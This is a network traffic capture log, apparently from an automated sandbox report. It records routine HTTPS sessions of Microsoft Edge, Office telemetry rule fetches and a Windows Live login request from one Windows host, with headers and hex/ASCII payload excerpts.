2024-10-28 17:43:40 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Mon, 28 Oct 2024 17:43:40 GMT Location: /b2?rn=1730137417933&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=29FEC05542B56D820230D57343E26C2D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=18570fffe5f4e14affde4dc1730137420; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=18570fffe5f4e14affde4dc1730137420; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 dc0206aae598c7408d2c9a4028b591ac.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW57-P8 X-Amz-Cf-Id: mDoLJoQP0-GwZXRR_mAZXxV45TaCWmmx-VeB_-xm3FTNXekz4R0EJA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	63602	23.101.168.44	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:40 UTC	999	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=29FEC05542B56D820230D57343E26C2D&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=7440559f2d924538fcd8bbb2da45fdab HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=29FEC05542B56D820230D57343E26C2D; _EDGE_S=F=1&SID=2E43925160CA63FF39D3877761A062D1; _EDGE_V=1
2024-10-28 17:43:40 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2556 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425505653-T700376487-C128000000002481229+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002481229+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 28 Oct 2024 17:43:39 GMT Connection: close
2024-10-28 17:43:40 UTC	2556	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 54 6f 6b 79 6f 2c 20 4a 61 70 61 6e 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 54 6f 6b 79 6f 2b 4a 61 70 61 6e 26 66 6f 72 6d 3d 4d Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Tokyo, Japan\",\"cta\":\"https:\/\/www.bing.com\/search?q=Tokyo+Japan&form=M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	63603	13.89.179.13	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:40 UTC	1072	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730137417931&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 4325 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=29FEC05542B56D820230D57343E26C2D; _EDGE_S=F=1&SID=2E43925160CA63FF39D3877761A062D1; _EDGE_V=1
2024-10-28 17:43:40 UTC	4325	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 30 2d 32 38 54 31 37 3a 34 33 3a 33 37 2e 39 32 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 31 62 36 39 34 31 37 66 2d 31 66 66 36 2d 34 34 34 31 2d 61 30 61 32 2d 31 31 65 39 39 31 64 33 63 65 33 64 22 2c 22 65 70 6f 63 68 22 3a 22 32 32 35 32 32 38 35 38 33 31 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-10-28T17:43:37.927Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"1b69417f-1ff6-4441-a0a2-11e991d3ce3d","epoch":"2252285831"},"app":{"locale
2024-10-28 17:43:40 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=a849b4f1ae98444cb368e492bbc9ac61&HASH=a849&LV=202410&V=4&LU=1730137420296; Domain=.microsoft.com; Expires=Tue, 28 Oct 2025 17:43:40 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=8f137de60203493785c9613de5470551; Domain=.microsoft.com; Expires=Mon, 28 Oct 2024 18:13:40 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2365 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 28 Oct 2024 17:43:39 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	63605	20.125.209.212	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:40 UTC	1165	OUT	GET /c.gif?rnd=1730137417932&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e1c7ee160fc84bccb2e26f7fc786d2a1&activityId=e1c7ee160fc84bccb2e26f7fc786d2a1&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=29FEC05542B56D820230D57343E26C2D; _EDGE_S=F=1&SID=2E43925160CA63FF39D3877761A062D1; _EDGE_V=1
2024-10-28 17:43:40 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1730137417932&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e1c7ee160fc84bccb2e26f7fc786d2a1&activityId=e1c7ee160fc84bccb2e26f7fc786d2a1&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=AE5378FDF76747C3BBD015B21727F991&RedC=c.msn.com&MXFR=29FEC05542B56D820230D57343E26C2D Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=29FEC05542B56D820230D57343E26C2D; domain=.msn.com; expires=Sat, 22-Nov-2025 17:43:40 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Mon, 28 Oct 2024 17:43:40 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	63607	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:40 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:40 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:40 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 97ce691d-801e-0047-0a01-277265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174340Z-16849878b787wpl5wqkt5731b400000005zg00000000tdyh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:40 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	63608	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:40 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:40 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:40 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 6768b437-a01e-00ab-174d-279106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174340Z-15b8d89586fmhkw429ba5n22m800000006sg0000000060ta x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:40 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	63609	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:40 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:40 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:40 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: cd066ebd-401e-0035-394c-2682d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174340Z-r197bdfb6b48pcqqxhenwd2uz8000000061000000000cen9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:40 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	63610	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:40 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:40 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:40 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: fb8efb24-701e-0050-0ba3-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174340Z-16849878b78j7llf5vkyvvcehs00000006eg000000009tt4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:40 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	63606	40.126.31.71	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:40 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-10-28 17:43:40 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-28 17:43:41 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 28 Oct 2024 17:42:40 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: 82a50d90-9721-459d-9afa-27c39cc9ba2d PPServer: PPV: 30 H: PH1PEPF00011EE6 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 28 Oct 2024 17:43:40 GMT Connection: close Content-Length: 1918
2024-10-28 17:43:41 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	63611	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:40 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:40 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:40 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 98c82924-f01e-0020-04fc-26956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174340Z-r197bdfb6b4bq7nf8dgr5rzeq400000000gg00000000a7fg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:40 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" 